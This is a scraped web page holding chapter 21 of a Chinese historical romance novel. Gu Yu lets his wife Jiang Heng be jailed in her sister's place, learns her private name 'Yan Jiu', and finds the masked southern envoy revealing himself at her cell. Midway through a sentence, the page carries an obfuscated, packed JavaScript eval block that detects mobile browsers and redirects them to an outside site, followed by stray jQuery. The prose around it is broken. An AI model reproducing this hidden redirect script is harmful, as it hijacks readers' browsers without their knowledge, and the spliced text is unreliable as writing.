默认冷灰
24号文字
方正启体

21. 第 21 章

作者:垂拱元年本书字数:K更新时间:
    为了掩人耳目,顾峪特意和姜姮一起乘车来的,如今回程,自然也要和姜妧同车。


    姜妧规规矩矩坐在角落里,看到男人正襟危坐,也几乎贴着车壁一侧,两人中间空出了好大一片位置。


    姜妧收回目光,不再看他,心中已明白许多。


    今日之前,与顾峪同乘一车之前,她也有种错觉,以为顾峪对她,确实旧情难忘,但在这一刻,她忽而不这么想了。


    至姜家,一进门,王氏就哭着迎了出来,抱着姜妧又唤“小七”又唤“灵鹿”又唤“心肝”。


    郜如澜提醒道:“母亲,别忘了,要唤阿姮。”


    才说罢,又听另一人也唤着“灵鹿”,与她嘘寒问暖。


    顾峪听着左一句右一句的“灵鹿”,也抬眼朝姜妧望去,片刻后,收回目光。


    约是他习惯的灵鹿,是姜姮的样子,此刻总觉得这一声声“灵鹿”,都唤错了人。


    从前觉得她们姊妹很是相像,今日再看,似乎也不是那么像。


    顾峪还要筹谋其他事,无意在这里看他们叙旧,正要离去,听郜如澜对姜妧说:“你现在的身份是阿姮,谨慎起见,就住阿姮的闺房吧,便是对自家伯娘婶娘们,你也只作是阿姮。”


    顾峪脚步一顿,姜姮的闺房?那是……他们夫妻歇息的地方。


    “不妥,那里我放了紧要东西。”顾峪寻个借口,直接拒绝道。


    众人都是一愣。


    郜如澜这样安排也是应顾峪要求,越逼真越好,越少人知道越好,不想倒是他先不愿意了。


    姜行忙附和着顾峪改口:“好好好,就住小七闺房,就说阿姮闺房在修缮,不得住。”


    顾峪这才没再说话,离了姜家,直接往观音寺去寻镇南王使。


    山门下马,正欲拾阶而上,听身后有人恭敬唤了句“卫国公”,顾峪回头,见是一个年过六旬的沙弥。


    他原坐在桌案后镌刻发愿牌,见到顾峪,起身双手合十对他道了句“阿弥陀佛”,又道“生辰欢畅”,接着拿了一块平安石双手奉上,说:“昨日尊夫人在贫僧这里求了一块平安石,但贫僧老眼昏花,约是拿错了,今早起来发现一颗裂石遍寻不见,想是误与了尊夫人,特此奉上一颗真石,还望尊夫人不要见怪。”


    顾峪微微皱眉思量。


    他生辰在冬月,还早得很,姜姮怎会在此时给他求了一颗平安石?


    不过他尚有事要办,也未多思,接下那颗平安石,阔步进了山门。


    本欲去厢房寻镇南王使,不想在佛殿前就碰上了他。


    他静静站在那里,肩膀上卧着狸花猫,望着一条小路的方向,似乎在等什么人。


    他也看见了顾峪,约是怕狸花猫又来抓挠他,遂将猫儿遣去别处,朝他走来。


    “卫国公,我何时能见……”他顿了顿,这回没有与他做意气之争,说:“归义夫人?”


    顾峪此行也是要说这事,没有再像之前推脱,道:“约就这两日。”


    他这态度转变的有些快,燕回终于确定了心中所想。


    他今早在这里,一直没有等来姜姮。


    明明昨晚她还在饭堂用饭的,今早就不见了,当是被人连夜紧急召回。


    他们要姜姮去做什么?


    燕回猜到了,却一直自欺欺人地抱有几分奢想,或许,是他猜错了呢?他们到底是阿久的至亲,是她的父母,兄长,夫君,怎么会那样待她?


    但眼下卫国公的反应,他知道自己没有猜错。


    燕回默默攥紧了拳头,面具下的一目深深望了顾峪一眼,移开目光空空茫茫地望着前方,说道:“卫国公还是与我一个出入的令符,我自己去看归义夫人。”


    顾峪第一反应是要拒绝。


    但圣上是默许镇南王使主理归义夫人一事的,他也清楚,镇南王使审理此案时,极可能不让他们参与其中,眼下他索要出入令符,大约就是这个意思。


    他已对姜姮交待过说辞,也和她推演过具体情境,倒不怕镇南王使看出破绽来。


    “怎么?怕我私自带走归义夫人?”燕回见顾峪迟迟不应,故意这样说。


    顾峪淡笑了下,“萧参军,应当还没这个本事。”


    “那卫国公如此犹豫,是怕什么?怕我自己去看归义夫人,问出什么,对你们不利的事来?”燕回故意激将。


    顾峪又是云淡风轻哼笑了声,“我们行端坐正,不会因为亡国之耻迁怒于一个妇人,萧参军堂堂男儿,应当,也会秉公处置?”


    燕回讽刺地笑了笑,秉公处置?让自己的夫人去替姨姐坐牢受讯,还在这里与他说什么秉公处置?


    燕回不想与他多言,淡声道:“自然。”


    “既如此,萧参军且静候,明日我便差人与你令符。”


    ···


    第二日夜,顾峪才差人送令符与镇南王使,“不必着急,迟些送到也无妨。”


    亲随刚刚领命退下,顾家小妹又寻至书房,站在门口朝他探头,讨好地问:“三哥,我能进来么?”


    顾峪微颔,顾青月才敢踏进门槛,看着他欲言又止了几回,终于开口:“三哥,你可知道嫂嫂在伊阙山供了一尊三丈石佛?”


    顾峪自是不知,但想女郎虔诚,笃信佛祖,供养石佛也无可厚非,遂未表态,只问小妹:“怎么了?”


    “你知道那要布施多少钱么?三千贯呀!”顾青月觉得太过靡费了。


    顾峪只当又是长嫂嫌姜姮崇佛无度,不欲出这三千贯,才叫小妹来说,想了想,道:“她也是为家人祈福求安,此心可贵,便随她吧,三千贯,让长嫂从我的例银里扣。”


    顾家自贫时即同居共财,现今依旧如此,顾峪封赏、月俸、食邑、职田、永业田等等一应所得全由长嫂统一打理,他的花销也是每月发放固定例银,长嫂怕他用处多,每月与他二百贯,他此前常常在外征战,自然是用不着的,所积攒的,应当也不止三千贯了。


    顾青月闻言,知道兄长误会了,连忙摆手:“我不是来要钱的,这事长嫂不知,是……是我们在观音寺,湖阳公主告诉我的,是她说,皇亲国戚都没嫂嫂这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288804|181530||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    般侈靡,我是觉得,嫂嫂是不是,太张扬了……”


    顾峪明白了小妹来意。


    她有意嫁秦王,和湖阳公主走得很近,也很在意秦王那厢对顾家的看法,秦王素有俭朴美名,如今姜姮这般做法,怕会让秦王那厢误会顾家家风侈靡,对她也失了好感。


    “偶尔一回,无妨。”顾峪说。


    顾青月摇头:“可不是一回呢,从前我们以为嫂嫂常去观音寺,只是抄经诵祷,顶多供些香油钱,这回我听说,嫂嫂是那里的大施主,不止香、花、灯、涂之物,还经常布施给佛祖重塑金身呢,那可不少钱呀!”


    顾峪听了,眉梢不觉微微一动,起了丝浅淡的笑意。他知她虔诚,却不知,她这般虔诚。


    细想来,倒也随她的性情,那满树的发愿牌,唯有“君子安和”一桩祈愿,没有任何杂念,甚至不曾有一愿,是为她自己求的。


    “好了,等她回来,我告诉她,日后不必如此用力,至于秦王那里,你也不必担心,他果真介意,我会同他解释。”


    顾青月脸上一红,羞道:“我什么时候提秦王了,我明明在说嫂嫂嘛……”


    忽想到一事,又嬉皮笑脸看向顾峪,说:“三哥,想不到你嘴这么严,嫂嫂的小字都没叫我们知道过呢?”


    顾峪抬眼看向小妹,小字?


    顾青月却俏皮地对他笑唤道:“燕久燕久,长长久久!”说罢就笑着跑走了。


    顾峪正思量,成平也叩门请见。


    “何事?”


    “家主,之前那条项坠修好了。”成平恭敬递上一个匣子,解释说:“早几日就修好了,婢子看您忙,一直没敢来打扰。”


    顾峪没有说话,取出项坠细看上面的图案,挥手屏退成平。


    燕久燕久,长长久久,原来这“久”字,还取自她的字?


    他从来没听说,她小字“燕久”,姜家人都没这么唤过她。


    燕久,燕小十,燕荣……


    莫非,姜家有燕氏亲属,姜姮在那边排辈里行九,才取此谐音为字?


    顾峪想,大抵如此。


    他摩挲着项坠上那一“久”字,想到那日离开牢房时,女郎始终不肯再出来一见。


    替姜妧坐牢一事,她虽不曾有过一字怨言,终究在心里,是有些怪他吧?


    “周武,备马。”他要去大理寺狱。


    顾峪出发时夜色已深,至大理寺狱已将近子时中了,当值的狱吏早已伏在案上打盹儿,他瞥了一眼,没有深究,只道一句“不必跟来”,径直朝姜姮所在牢房行去。


    远远便瞧见,镇南王使站在那间牢房前,注目望着牢内,正缓缓解下那只旧铜色面具。


    他是将晚才差人送的令符,本想着镇南王使怎么也得到明日才会来,不想,他来得如此急切。


    “阿兄。”


    顾峪听见姜姮这般唤了一句,声音浸着泪水,久别重逢,失而复得,好生浓烈的情绪。


    “阿久,是我。”


    他瞧见,镇南王使取下面具,深深望着他的妻子。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)